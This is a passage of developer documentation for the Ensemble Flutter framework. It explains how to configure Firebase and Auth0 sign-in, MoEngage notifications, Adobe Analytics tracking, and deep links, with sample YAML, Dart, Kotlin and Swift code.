Editor + CFBundleURLSchemes + + + URL SCHEME GOES HERE + + + + Firebase iOS APP ID GOES HERE + + + +``` + +Use the `GoogleService-Info.plist` that you downloaded during step 1, and copy the value of REVERESED_CLIENT_ID. Paste this value in inside this string tag: ` URL SCHEME GOES HERE `. + +--- + +## 4. [Web Only] Add Authorized domains + +Add authorized domains to your Firebase project. This is required for web apps to work with Firebase. + +Go to Firebase console, navigate to your project, and under Authentication, go to Settings. Add your domain to the list of authorized domains. + +firebase authorized domains + +--- + +## 5. Enable Auth service in Ensemble code + +By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. + +* Search for this line and uncomment it: +``` +// import 'package:ensemble_auth/auth_module.dart'; +``` + +* Search for this line and uncomment it: +``` + // AuthModuleImpl().init(); +``` + +* Search for this line and set it to true +``` + static const useAuth = false; +``` + +--- + +## 6. Add a Sign in screen + +Now that your app is set up to use Firebase, add a new screen in the studio with following definition. + +### Firebase Social Sign In + +For Social Sign In, Ensemble currently provides `SignInWithGoogle` and `SignInWithApple`. Set the provider `property` to `firebase`. + +```yaml +View: + body: + Column: + styles: + mainAxis: center + crossAxis: center + padding: 40 + children: + - SignInWithGoogle: + provider: firebase +``` + +Depending on your need, assign actions to `onSignedIn` and `onError` properties as well. For demo purpusoes here, we will just show a toast message. + + +```yaml + - SignInWithGoogle: + provider: firebase + onSignedIn: + showToast: + message: ${auth.user.email} + onError: + showToast: + message: Something went wrong +``` + +### Firebase Phone Auth + +If you need firebase phone auth, you can use these actions + +`sendVerificationCode` - to send the verification code to the phone number + +```yaml +sendVerificationCode: + provider: firebase + method: phone + phoneNumber: "+1-----------" (required if type is phone) + onSuccess: + // to go to the next screen for otp, it should provide the verification id and resend token + // e.g event.data.verificationId, event.data.resendToken + onError: + // handle error state +``` + +`validateVerificationCode` - to validate the code sent to the phone number + +```yaml +validateVerificationCode: + provider: firebase + method: phone + code: // otp from the `ConfirmationInput` widget + verificationId: // verification id from `sendVerificationCode` action + onSuccess: + // return the authenticated user and idToken + // e.g event.data.user.id, event.data.idToken + onError: + // handle the error state + onVerificationFailure: + // handle the verification failure +``` + +`resendVerificationCode` - to resend the code if resend token is available + +```yaml +resendVerificationCode: + provider: firebase + method: phone + phoneNumber: ${phoneNumber} (required if type is phone) + resendToken: ${resendToken} + onSuccess: + // return the verificationId and resendToken + onError: + // handle error state +``` + +Note: If resend token is not available, you can use `sendVerificationCode` to get the updated token. + +[Kitchen Sink - Firebase Phone Auth](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/A7JOo1uZTYoYVwOUA76c) + +--- +### Firebase Sign In with Custom jwt Token + +Authenticate users in Firebase using a custom `jwtToken` minted by the backend with Firebase Admin SDK, enabling access to secure Cloud Functions. + +`signInWithCustomToken` - to pass token to firebase console + +```yaml +signInWithCustomToken: + token: // Token id from `signInWithServerAPI` action + onAuthenticated: + // return the authenticated user and idToken + // e.g event.data.user.id, event.data.idToken + // if user doesn't exists (uuid doesn't match any existing user) + // it'll create anonymous one + // otherwise return authenticated user + onError: + // handle the error state + // Errors can be invalidToken, NullToken etc +``` +## 7. Build and run the app + +* Review `/ensemble/ensemble.properties`. Update the appId as needed - this is your app's bundle ID in the format of . e.g. `com.ensembleui.myfirstapp` (all lowercase, no special characters). +* Run `flutter pub upgrade`. Run this occasionally when the Ensemble framework has been updated. +* Run `flutter create --org com.ensembleui --project-name starter --platform=ios,android .` (note the period at the end). If you modified the appId, make sure the org and project name match the bundle ID. +* Run the App with `flutter run`. If you currently have a running iOS or Android emulator, the command will prompt for a selection, otherwise the App will be opened in the web browser. + +--- + +# Setting up Authentication with Auth0 + +In this guide, we will authenticate users against an existing Auth0 tenant. + +#### Prerequisites + +1. You have an existing Auth0 tenant +2. You have created an app on Ensemble Studio +3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine +4. You have a Simulator for testing + +## 1. Provision Auth0 App Credentials + +Login to your Auth0 tenant and go the [Applications](https://manage.auth0.com/#/applications) section of your dashboard. + +#### Create an Auth0 Application + +Click on "Create Application", and enter a name for your application. Select "Native" as the application type and click "Create". + +#### Enable Connections + +Your application should have at least one enabled Connection. Click on "Connections" and enable any database or identity provider, e.g. Google. + +#### Configure Application + +Navigate to the "Settings" tab on your application page, and scroll to the "Application URIs" section. This is where we will set your Allowed Callback URLs and Allowed Logout Urls for Android and iOS. The values will follow this template: + +- Android: `SCHEME://AUTH0_DOMAIN/android/YOUR_PACKAGE_NAME/callback` +- iOS: `YOUR_BUNDLE_ID://AUTH0_DOMAIN/ios/YOUR_BUNDLE_ID/callback` + +`SCHEME` can be a custom protocol key for you to differentiate client schemes. If this is not needed, you can simply use `http`. + +--- + +## 2. Configure Ensemble app + +#### Get starter app + +Clone [Ensemble Starter](https://github.com/EnsembleUI/starter) from GitHub. Using a code or text editor, open `/ensemble/ensemble-config.yaml` . + +Set your definition source to be Ensemble: + +```yaml +    definitions: +  # where your page definitions are hosted ('local', 'remote' or 'ensemble') +  from: ensemble + +  ensemble: +  appId: +``` + +You can find your Ensemble app id by navigating to the app on Ensemble Studio, clicking the menu icon, and selecting `Copy App ID` option. + +#### Configure Auth0 details for Ensemble app + +In the same file, `ensemble-config.yaml` , add your Auth0 app client ID in the following format. + +```yaml +    services: + signIn: + serverUri: # the domain of your auth0 tenant + providers: + auth0: + iOSClientId: # the client id of of the Auth0 application your created in step 1 + # you may specify additional client ids if you have different applications, otherwise this will be the same client id for all + androidClientId: + webClientId: + serverClientId: +``` + +--- + +## 3. [iOS only] Update Info.plist file + +Inside the directory where you cloned Ensemble Starter, open `/ios/Runner/Info.plist` with a code editor. Add the following to this file. + +``` + CFBundleURLTypes + + + CFBundleTypeRole + Editor + CFBundleURLName + + + CFBundleURLSchemes + + $(PRODUCT_BUNDLE_IDENTIFIER) + + + +``` + +--- + +## 4. [Android only] Update build.gradle + +Inside the directory where you cloned Ensemble starter, open `/android/build.gradle` in your code editor. Add the following to this file. + +```groovy +// android/app/build.gradle + +android { + // ... + + defaultConfig { + // ... + manifestPlaceholders += [auth0Domain: "", auth0Scheme: ""] + } + + // ... +} +``` + +## 4. Enable Auth service in Ensemble code + +By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. + +* Search for this line and uncomment it: +``` +// import 'package:ensemble_auth/auth_module.dart'; +``` + +* Search for this line and uncomment it: +``` + // AuthModuleImpl().init(); +``` + +* Search for this line and set it to true +``` + static const useAuth = false; +``` + +--- + +## 5. Add a Sign in screen + +Now that your app is set up to use Auth0, add a new screen in the studio with following definition. + + +```yaml +View: + body: + Column: + styles: + mainAxis: center + crossAxis: center + padding: 40 + children: + - SignInWithAuth0: + scheme: flutterdemo + provider: auth0 + onAuthenticated: + showToast: + message: ${auth.user.email} +``` + +--- + +## 6. Build and run the app + +* Review `/ensemble/ensemble.properties`. Update the appId as needed - this is your app's bundle ID in the format of . e.g. `com.ensembleui.myfirstapp` (all lowercase, no special characters). +* Run `flutter pub upgrade`. Run this occasionally when the Ensemble framework has been updated. +* Run `flutter create --org com.ensembleui --project-name starter --platform=ios,android .` (note the period at the end). If you modified the appId, make sure the org and project name match the bundle ID. +* Run the App with `flutter run`. If you currently have a running iOS or Android emulator, the command will prompt for a selection, otherwise the App will be opened in the web browser. + +--- + + +# MoEngage Integration + +MoEngage is a powerful customer engagement platform that enables real-time, personalized messaging across multiple channels. Ensemble provides native integration with MoEngage offering: +- Push Notifications (iOS & Android) +- In-App Messaging +- Event Tracking & Analytics +- User Attribute Management + + +## MoEngage Dashboard Setup + +The following setup on MoEngage Dashboard is required regardless of whether you're enabling MoEngage through Ensemble Studio or local development. This establishes the core configuration needed for MoEngage integration. + +1. Get MoEngage Workspace ID: + - Navigate to MoEngage Dashboard → Settings → General Settings → Basic Details + - Copy your Workspace ID from the displayed information + +2. Configure Firebase for Android Push: + - Follow the complete [FCM Authentication Guide](https://developers.moengage.com/hc/en-us/articles/16909296490644-FCM-Authentication) + - This guide walks you through: + a. Creating a Firebase project + b. Generating FCM Server Key + c. Adding the key to MoEngage Dashboard + d. Enabling necessary FCM APIs + +3. Configure APNS for iOS Push (Choose one): + - Option 1: [APNS Authentication Key](https://developers.moengage.com/hc/en-us/articles/8484447635348-APNS-Authentication-Key) (Recommended) + - Option 2: [APNS Certificate](https://developers.moengage.com/hc/en-us/articles/4403944011028-APNS-Certificate-PEM-file) + +4. Create Platform Apps: + - Create corresponding apps in Firebase Console for Android/iOS + - Ensure the application ID matches your Ensemble app configuration + - Download required configuration files: + - Android: google-services.json + - iOS: GoogleService-Info.plist + - Web: Firebase configuration object + +## Enable MoEngage in Ensemble Studio + +If you're using Ensemble Studio for building your application, follow these steps to enable MoEngage. No additional local configuration will be required. + +1. Navigate to Build & Deploy → Build Settings +2. Enable MoEngage toggle in the Modules section +3. Enter Configuration Details: + - MoEngage Workspace ID obtained from dashboard + - Add Firebase Web Configuration +4. Upload Platform Configuration Files: + - Upload google-services.json for Android + - Upload GoogleService-Info.plist for iOS +5. Click Update to save your configuration + + +## Handling Notifications + +Ensemble provides multiple ways to handle MoEngage notifications to suit your use cases: + +1. **Notification Handler**: Define a notification handler in JavaScript to be executed on every notification received. You can run logic then return a payload to navigate to a screen. + +2. **Default Behavior**: If notification handler is not specified, the app will simply open up (if not in foreground). + +### Creating a Script and Handler Function + +1. Navigate to or create a script in the Scripts section, for example Common.js. + +2. Create a handler function that will be called when notifications are received: + +```javascript +function handle_notification(notification) { + // Your notification handling logic here +} +``` + +The notification parameter will contain: + +#### For Push Notifications: +```javascript +{ + "payload": {...}, // Original push payload data received from MoEngage + "clickedAction": Map, // Button action details if clicked + "platform": "android/ios", + 'notificationType': 'push', + "isDefaultAction": true/false, // For Android only +} +``` + +For complete push notification payload details, see [Push Callback Payload Documentation](https://developers.moengage.com/hc/en-us/articles/11652033989396-Push-Callback#h_01H1RX45YD2A06V7SM4TYZWF3V) + +#### For In-App Messages: +```javascript +{ + "campaignId": "campaign_id", + "campaignName": "campaign_name", + "platform": "android/ios", + 'notificationType': 'inApp', + "data": { + "navigationType": "deeplink/screen", // present only if action is `NavigationAction` + "navigationUrl": "url", // present only if action is `NavigationAction` + "keyValuePairs": {} // Custom data + } +} +``` + +For complete in-app message payload structure, see [In-App Callback Payload Documentation](https://developers.moengage.com/hc/en-us/articles/4404365619092-InApp-NATIV#h_01H96BKP4MZAJTSRZ58FM3Z3XZ) + +Inside your handler function, you can: +- Write custom routing logic +- Access ensemble.storage +- Return a navigation payload + +Example handler: +```javascript +function handle_notification(notification) { + console.log("Received notification:", notification); + + // Assuming the screen name is in the data section + var payload = { + "name": notification['data']['screen'], + // You can also pass inputs that will be accessible on the destination screen using `notificationPayload.*` + }; + + return payload; +} +``` + +If you don't want to navigate, simply don't return anything. + +### Setting up the Handler + +1. Go to Settings -> Environment Variables +2. Add new variable: `ensemble_notification_handler` +3. Set value to `scriptName.handlerName` (e.g. `Common.handle_notification`) + +Once configured, your handler function will be called for all received notifications. + + + +## Enable MoEngage in Local Project + +If you're developing locally without using Ensemble Studio build system, follow these configuration steps. You can skip the Ensemble Studio setup section above. + +#### Ensemble Files (Required) + +**1.** Update `ensemble_modules.dart` +Import required modules and initialize Firebase and MoEngage. Add this at the start of file: +```dart +import 'dart:io'; +import 'package:flutter/foundation.dart'; +import 'package:ensemble_moengage/moengage.dart'; +import 'package:firebase_core/firebase_core.dart'; +``` +Replace default Firebase initialization with platform-specific options + +```dart +// Initialize Firebase with platform-specific options +FirebaseOptions? androidPayload = const FirebaseOptions( + apiKey: "YOUR_ANDROID_API_KEY", + appId: "YOUR_ANDROID_APP_ID", + messagingSenderId: "YOUR_MESSAGING_SENDER_ID", + projectId: "YOUR_PROJECT_ID", + storageBucket: "YOUR_PROJECT_STORAGE_BUCKET" +); + +// Add similar configurations for iOS and Web platforms +FirebaseOptions? iosPayload = ... +FirebaseOptions? webPayload = ... + +FirebaseOptions? selectedPayload; +if (Platform.isAndroid) { + selectedPayload = androidPayload; +} else if (Platform.isIOS) { + selectedPayload = iosPayload; +} +if (kIsWeb) { + selectedPayload = webPayload; +} + +await Firebase.initializeApp(options: selectedPayload); +``` +Initialize MoEngage with your workspace ID and logging preferences by replace this `GetIt.I.registerSingleton(MoEngageImpl());` with below code: +```dart +// Register MoEngage +GetIt.I.registerSingleton( + MoEngageImpl( + workspaceId: 'YOUR_WORKSPACE_ID', // dont forget to replace workspace id. + enableLogs: true + ) +); +``` + +**2.** Update `ensemble.properties`: +```yaml +moengageAppId=YOUR_WORKSPACE_ID +``` +#### Android Configuration +**1.** Add MoEngage and Firebase dependencies in `android/app/build.gradle` and also Configure Google Services plugin: +```gradle +dependencies { + // MoEngage Core dependencies + implementation("androidx.core:core:1.6.0") + implementation("com.moengage:moe-android-sdk:12.8.01") + implementation("com.google.firebase:firebase-messaging:23.4.1") + implementation("androidx.lifecycle:lifecycle-process:2.7.0") + implementation("androidx.appcompat:appcompat:1.3.1") + implementation("com.github.bumptech.glide:glide:4.9.0") +} + +apply plugin: 'com.google.gms.google-services' +``` + +**2.** Update `AndroidManifest.xml` to add required permissions, MoEngage services and set up deep linking configurations, also change application level `android:name`: +```xml + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +``` + +**3.** Create `CustomPushListener.kt` to handle push notification interactions: +```kotlin +package your.package.name + +import android.app.Activity +import android.os.Bundle +import com.moengage.core.internal.logger.Logger +import com.moengage.core.model.AccountMeta +import com.moengage.plugin.base.push.PluginPushCallback + +class CustomPushListener(accountMeta: AccountMeta) : PluginPushCallback(accountMeta) { + private val tag = "CustomPushListener" + + override fun onNotificationClick(activity: Activity, payload: Bundle): Boolean { + Logger.print { "$tag onNotificationClick() : " } + return super.onNotificationClick(activity, payload) + } +} +``` + +**4.** Create `MyApplication.kt`: +```kotlin +package your.package.name + +import com.moengage.core.DataCenter +import com.moengage.core.MoEngage +import com.moengage.core.config.FcmConfig +import com.moengage.core.config.NotificationConfig +import com.moengage.flutter.MoEInitializer +import android.app.Application + +class MyApplication : Application() { + override fun onCreate() { + super.onCreate() + + val moEngage = MoEngage.Builder(this, BuildConfig.MOENGAGE_WORKSPACE_ID, DataCenter.DATA_CENTER_1) + .configureFcm(FcmConfig(true)) + .configureNotificationMetaData( + NotificationConfig( + R.drawable.icon, + R.drawable.launcher, + notificationColor = -1, + isMultipleNotificationInDrawerEnabled = false, + isBuildingBackStackEnabled = true, + isLargeIconDisplayEnabled = true + ) + ) + + MoEInitializer.initialiseDefaultInstance(this, moEngage) + } +} +``` + +**5.** Update `MainActivity.kt`: +```kotlin +package your.package.name + +import android.content.Intent +import android.content.res.Configuration +import android.os.Bundle +import com.moengage.flutter.MoEFlutterHelper +import io.flutter.embedding.android.FlutterActivity + +class MainActivity : FlutterActivity() { + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + processIntent(intent) + } + + override fun onConfigurationChanged(newConfig: Configuration) { + super.onConfigurationChanged(newConfig) + MoEFlutterHelper.getInstance().onConfigurationChanged() + } + + override fun onNewIntent(intent: Intent) { + super.onNewIntent(intent) + processIntent(intent) + } + + private fun processIntent(intent: Intent?) { + if (intent == null) return + } +} +``` + +**6.** Add Platform Configuration Files: + - Place `google-services.json` in `android/app/` + - Add to `android/build.gradle`: +```gradle +buildscript { + dependencies { + classpath 'com.google.gms:google-services:4.3.15' + } +} +``` + +#### iOS Configuration + + +**1.** Update `AppDelegate.swift`: +```swift +import UIKit +import Flutter +// import GoogleMaps +import flutter_local_notifications + +// Add below Moenage Dependencies +import moengage_flutter_ios +import MoEngageSDK +import MoEngageInApps +import MoEngageMessaging + + +@main +@objc class AppDelegate: FlutterAppDelegate { + static let methodChannelName: String = "com.ensembleui.host.platform" + var methodChannel: FlutterMethodChannel? + + override func application( + _ application: UIApplication, + didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]? + ) -> Bool { + let controller : FlutterViewController = window?.rootViewController as! FlutterViewController + methodChannel = FlutterMethodChannel(name: AppDelegate.methodChannelName, binaryMessenger: controller.binaryMessenger) +// GMSServices.provideAPIKey("AIzaSyD8vwvoaEPEgYemp1EkIETetJMvyS4Ptqk") + FlutterLocalNotificationsPlugin.setPluginRegistrantCallback { (registry) in + GeneratedPluginRegistrant.register(with: registry) } + + if #available(iOS 10.0, *) { + UNUserNotificationCenter.current().delegate = self as UNUserNotificationCenterDelegate + } + + // Add below 6 lines for moengage implementatino + let yourWorkspaceID = "1SZEGT6AYEZE0XANA7IKYPL8" + let sdkConfig = MoEngageSDKConfig(withAppID: yourWorkspaceID) + sdkConfig.appGroupID = "group.com.alphadevs.MoEngage.NotificationServices" + sdkConfig.consoleLogConfig = MoEngageConsoleLogConfig(isLoggingEnabled: true, loglevel: .verbose) + + MoEngageSDKCore.sharedInstance.enableAllLogs() + MoEngageInitializer.sharedInstance.initializeDefaultInstance(sdkConfig, launchOptions: launchOptions) + + + GeneratedPluginRegistrant.register(with: self) + return super.application(application, didFinishLaunchingWithOptions: launchOptions) + } + + override func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool { + // Calling flutter method "urlOpened" from iOS + methodChannel?.invokeMethod("urlOpened", arguments: url.absoluteString) + return true + } + + // Add below 4 functions for moenage + override func application(_ application: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: Data) { + MoEngageSDKMessaging.sharedInstance.setPushToken(deviceToken) + } + + override func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) { + completionHandler([.alert, .sound]) + } + + override func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) { + MoEngageSDKMessaging.sharedInstance.userNotificationCenter(center, didReceive: response) + completionHandler() + } + + + override func application(_ application: UIApplication, willContinueUserActivityWithType userActivityType: String) -> Bool { + print("Opening Universal link", userActivityType) + return false + } +} +``` + +--- + + +# Adobe Analytics + +Adobe Analytics is a powerful analytics solution that provides real-time analytics and detailed segmentation capabilities. Ensemble provides native integration with Adobe Analytics offering: +- Real-time analytics tracking +- User identity management +- Consent management +- User profile management +- Adobe Assurance integration +- Edge network support + +## Prerequisites + +1. You have created an Adobe Experience Platform project +2. You have created an app on Ensemble Studio +3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine +4. You have a Simulator for testing + +## Adobe Experience Platform Setup + +The following setup on Adobe Experience Platform is required regardless of whether you're enabling Adobe Analytics through Ensemble Studio or local development. + +1. Get Adobe Experience Platform Configuration: + - Navigate to Adobe Experience Platform → Data Collection → Mobile Properties + - Create a new mobile property or select an existing one + - Copy your configuration details including: + - App ID + +2. Configure Edge Network: + - Set up your Edge Network configuration + - Configure your datastreams + - Set up your schema and datasets + +## Enable Adobe Analytics + +### In Ensemble Studio + +If you're using Ensemble Studio for building your application, follow these steps to enable Adobe Analytics. + +1. Navigate to Build & Deploy → Build Settings +2. Enable Adobe Analytics toggle in the Modules section +3. Enter Configuration Details: + - Adobe Experience Platform App ID + +### In Local Project + +If you're developing locally without using Ensemble Studio build system, follow these configuration steps. + +1. Update `ensemble_modules.dart`: + - Uncomment the Adobe Analytics import: + ```dart + import 'package:ensemble_adobe_analytics/adobe_analytics.dart'; + ``` + - Set `useAdobeAnalytics` to `true`: + ```dart + useAdobeAnalytics: true, + ``` + - Initialize Adobe Analytics with your App ID: + ```dart + GetIt.I.registerSingleton( + AdobeAnalyticsImpl(appId: "YOUR_APP_ID") + ); + ``` + +## Example Actions + +### Core Operations + +#### Track Action (User Interactions) + +Track event actions that occur in your application. + +```yaml +logEvent: + name: trackButtonClick + provider: adobe + operation: trackAction + parameters: + eventName: 'button_click' + eventType: 'button_click' + eventSource: 'mobile_app' + eventCategory: 'button_click' + eventAction: 'button_click' + eventLabel: 'button_click' +``` + +#### Track State (Page Views) + +Track states that represent screens or views in your application. + +```yaml +logEvent: + name: trackScreenView + provider: adobe + operation: trackState + parameters: + eventName: 'screen_view' + eventType: 'screen_view' + eventSource: 'mobile_app' +``` + +#### Edge Operations + +Send an Experience event to Adobe Experience Platform Edge Network. + +```yaml +logEvent: + name: trackXdmEvent + provider: adobe + operation: sendEvent + parameters: + xdmData: + eventType: 'commerce.productViews' + commerce: + productViews: + value: 1 + data: + customField: 'customValue' + userSegment: + - 'segment1' + - 'segment2' + datastreamIdOverride: +``` + +### Identity Management + +#### Get Experience Cloud ID + +Retrieve the Experience Cloud ID (ECID) that was generated when the app was initially launched. + +```yaml +logEvent: + name: getExperienceCloudId + provider: adobe + operation: getExperienceCloudId +``` + +#### Get URL Variables +Returns the identifiers in a URL's query parameters for consumption in hybrid mobile applications. The response will not return any leading & or ?, since the caller is responsible for placing the variables in the resulting URL in the correct locations. If an error occurs while retrieving the URL variables, the callback handler will return a null value. Otherwise, the encoded string is returned. An example of an encoded string is as follows: 'adobe_mc=TS%3DTIMESTAMP_VALUE%7CMCMID%3DYOUR_ECID%7CMCORGID%3D9YOUR_EXPERIENCE_CLOUD_ID' +- `MCID`: This is also known as the Experience Cloud ID (ECID). +- `MCORGID`: This is also known as the Experience Cloud Organization ID. +- `TS`: The timestamp that is taken when the request was made. + +```yaml +logEvent: + name: getUrlVariables + provider: adobe + operation: getUrlVariables +``` + +#### Get All Identities + +Get all identities in the Identity for Edge Network extension. + +```yaml +logEvent: + name: getIdentities + provider: adobe + operation: getIdentities +``` + +#### Update Identities + +Update the currently known identities within the SDK. + +```yaml +logEvent: + name: updateIdentities + provider: adobe + operation: updateIdentities + parameters: + identities: + CustomNamespace: + - id: 'test-custom-id' + authenticatedState: 'authenticated' + primary: true + CustomNamespace2: + - id: 'test-custom-id-2' + authenticatedState: 'authenticated' + primary: false +``` + +#### Remove Identity +Remove the identity from the stored client-side IdentityMap. The Identity extension will stop sending the identifier to the Edge Network. Using this API does not remove the identifier from the server-side User Profile Graph or Identity Graph. +Identities with an empty id or namespace are not allowed and are ignored. + +Removing identities using a reserved namespace is not allowed using this API. The reserved namespaces are: +- ECID +- IDFA +- GAID + +```yaml +logEvent: + name: removeIdentity + provider: adobe + operation: removeIdentity + parameters: + item: + id: 'test-custom-id' + authenticatedState: 'ambiguous' # Options: 'authenticated', 'ambiguous', 'loggedOut' + primary: false + namespace: 'CustomNamespace' +``` + +#### Reset All Identities +Clears all identities stored in the Identity extension and generates a new Experience Cloud ID (ECID) . Using this API does not remove the identifiers from the server-side User Profile Graph or Identity Graph. + +This is a destructive action, since once an ECID is removed it cannot be reused. The new ECID generated by this API can increase metrics like unique visitors when a new user profile is created. + +Some example use cases for this API are: + +- During debugging, to see how new ECIDs (and other identifiers paired with it) behave with existing rules and metrics. +- A last-resort reset for when an ECID should no longer be used. + +This API is not recommended for: + +- Resetting a user's consent and privacy settings. +- Removing existing custom identifiers; use the `removeIdentity` API instead. +- Removing a previously synced advertising identifier after the advertising tracking settings were changed by the user; use the `setAdvertisingIdentifier` API instead. + +ℹ️ The Identity for Edge Network extension does not read the Mobile SDK's privacy status and therefor setting the SDK's privacy status to opt-out will not clear the identities from the Identity for Edge Network extension. + +```yaml +logEvent: + name: resetIdentities + provider: adobe + operation: resetIdentities +``` + +#### Set Advertising Identifier + +When this API is called with a valid advertising identifier, the Identity for Edge Network extension includes the advertising identifier in the XDM Identity Map using the namespace GAID (Google Advertising ID) in Android and IDFA (Identifier for Advertisers) in iOS. If the API is called with the empty string (''), null/nil, or the all-zeros UUID string values, the advertising identifier is removed from the XDM Identity Map (if previously set). The advertising identifier is preserved between app upgrades, is saved and restored during the standard application backup process, and is removed at uninstall. + +```yaml +logEvent: + name: setAdvertisingIdentifier + provider: adobe + operation: setAdvertisingIdentifier + parameters: + advertisingIdentifier: +``` + +### Consent Management + +#### Get Current Consents + +Retrieve the current consent preferences stored in the Consent extension. + +```yaml +logEvent: + name: getConsents + provider: adobe + operation: getConsents +``` + +#### Update Consent + +Merge the existing consents with the given consents. + +```yaml +logEvent: + name: updateConsent + provider: adobe + operation: updateConsent + parameters: + allowed: true # or false +``` + +#### Set Default Consent + +Sets the default consent preferences for the Consent extension. + +```yaml +logEvent: + name: setDefaultConsent + provider: adobe + operation: setDefaultConsent + parameters: + allowed: true # or false +``` + +### User Profile Management + +#### Get User Attributes + +Get user profile attributes which match the provided keys. + +```yaml +logEvent: + name: getUserAttributes + provider: adobe + operation: getUserAttributes + parameters: + attributes: + - 'firstName' + - 'lastName' + - 'email' +``` + +#### Update User Attributes + +Set multiple user profile attributes. + +```yaml +logEvent: + name: updateUserAttributes + provider: adobe + operation: updateUserAttributes + parameters: + attributeMap: + firstName: 'John' + lastName: 'Doe' + email: 'john.doe@example.com' +``` + +#### Remove User Attributes + +Remove provided user profile attributes if they exist. + +```yaml +logEvent: + name: removeUserAttributes + provider: adobe + operation: removeUserAttributes + parameters: + attributes: + - 'firstName' + - 'lastName' +``` + +### Adobe Assurance + +Configure Adobe Assurance for debugging and validation. + +```yaml +logEvent: + name: setupAssurance + provider: adobe + operation: setupAssurance + parameters: + url: +``` + +--- + +# Setup Deeplink + +In this guide, we'll integrate the deep linking for the Android and iOS Apps + +## Android Setup +1. Create a file named ```assetlinks.json``` and add namespace, package and sha256 +2. Upload the ```assetlinks.json``` file to the website (https://example.com/.wellknown/assetlinks.json) +3. Add ```intent-filter with domain, path, scheme,``` etc in the ```activity``` tag of ```AndroidManifest.xml``` +4. meta-data ```flutter_deeplinking_enabled``` to the ```activity``` tag +5. To test deep links, Execute the following command in the terminal + +``` +adb shell am start -a android.intent.action.VIEW \ +-c android.intent.category.BROWSABLE \ +-d [https://example.com](https://example.com/) +``` + +6. Test it in physical device, Send the url to any of the notes app and click the link. + +For more info: [Android App Links](https://developer.android.com/training/app-links) + +## iOS Setup +1. Add ```Associated Domain``` capability. Prefix the domain with ```applinks:``` +2. Create a new file named ```apple-app-site-association``` with no file extension. Add details like appIds (teamId.BundleID), components (url path), etc +3. It must be uploaded in the (https://ensembleui.com/.wellknown/apple-app-site-association), needs to be served with content type (application/json) but without the file extension +4. Add ```FlutterDeepLinkingEnabled``` to the ```Info.plist``` file +5. To test deep links, Use ```xcrun simctl openurl booted [https://example.com/path]```(https://example.com/path) +6. Test it in physical device, Send the url to any of the notes app and click the link + +For more info: [iOS Universal Link](https://developer.apple.com/ios/universal-links/) + + +## For Deferred Deep Linking +Checkout - https://docs.ensembleui.com/#/build/deep-link/deferred-deeplink + +--- + +# Setup Deferred Deeplink +In this guide, we'll integrate the deferred deep linking for the Android and iOS Apps. There are some service providers like branch, appsflyer, etc for deferred deep linking. + +*NOTE: Currently, we support only the BranchIO as of now.* + +## BranchIO (http://branch.io) +For Detailed Doc - https://help.branch.io/developers-hub/docs + +#### Configure Branch Dashboard +1. Go to Configuration -> General +2. Setup Default URL +3. Android Redirects + - Android URI Scheme + - Google Play Search or Custom URL + - SHA 256 Certificate Fingerprints + - Additional Settings +4. iOS Redirects + - iOS URI Scheme + - Apple Store Search or Custom URL + - Enable Universal Links (BundleID, Apple App Prefix) + - Additional Settings + +#### Configure Native Platforms +1. Android + - Add Branch to your AndroidManifest.xml + - Add Branch App Links (Test and Live) + - Add Branch Keys (Test and Live) + +2. iOS + - Configure Bundle ID + - Add associated domains from branch dashboard's Link Domain section of the configuration page to the iOS project "Signing & Capabilities" associated domain + - Configure Info.plist for adding branch keys (Test and Live) and Links (Test and Live) + - Add Custom URL Scheme in the URL types of Info.plist + +### Module (ensemble_deeplink) +Enable Deeplink service in Ensemble code + +By default, Ensemble does not include the deeplink module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. + +* Search for this line and uncomment it: +``` +// import 'package:ensemble_deeplink/deferred_link_manager.dart'; +``` + +* Search for this line and uncomment it: +``` + // GetIt.I.registerSingleton(DeferredLinkManagerImpl()); +``` + +* Search for this line and set it to true +``` + static const useDeeplink = false; +``` + +--- + +#### Initialize Branch SDK +1. In the ensemble project, Initialize your branch SDK using the ```deeplinkInit``` action + +```yaml +deeplinkInit: + provider: branch + options: + useTestKey: true + enableLog: true + disableTrack: false + onSuccess: | + //@code + console.log("BranchSDK:: initialized successfully"); + onLinkReceived: | + //@code + console.log("BranchSDK:: Branch Link Received: " + event.data.link); + onError: | + //@code + console.log("BranchSDK:: Failed to initialize" + event.error); +``` + +2. Create branch deep link using the ```createDeeplink``` action + +```yaml +Button: + label: Create Branch Link + onTap: + createDeeplink: + provider: branch + universalProps: + id: item/12345 + title: My Content Title + contentDescription: My Content Description + imageUrl: https://ensembleui.com/mycontent-123.png + contentSchema: product + linkProps: + channel: ensembleui + feature: Sharing + campaign: content launch + stage: New User + tags: [data, fsdf, sdd] + controlParams: + ref: 1234 + name: Ensemble + onSuccess: | + //@code + console.log("BranchSDK:: Link created successfully: " + event.data.result); + onError: | + //@code + console.log("BranchSDK:: Failed to create a link" + event.error); +``` + +--- + + +# Embed Flutter screen in an Ensemble app + +Ensemble allows you to navigate to a screen built with Flutter. This allows you to reuse any existing Flutter screen. + + + +## How it works. + +This is our beloved counter widget. Let's see how you can specify this widget and call it in your Ensemble App. + +```dart +class CounterWidget extends StatefulWidget { + const CounterWidget({ + super.key, + this.message, + }); + + final String? message; + + @override + State createState() => _CounterWidgetState(); +} + +class _CounterWidgetState extends State { + int counter = 0; + + void _incrementCounter() { + setState(() { + counter++; + }); + 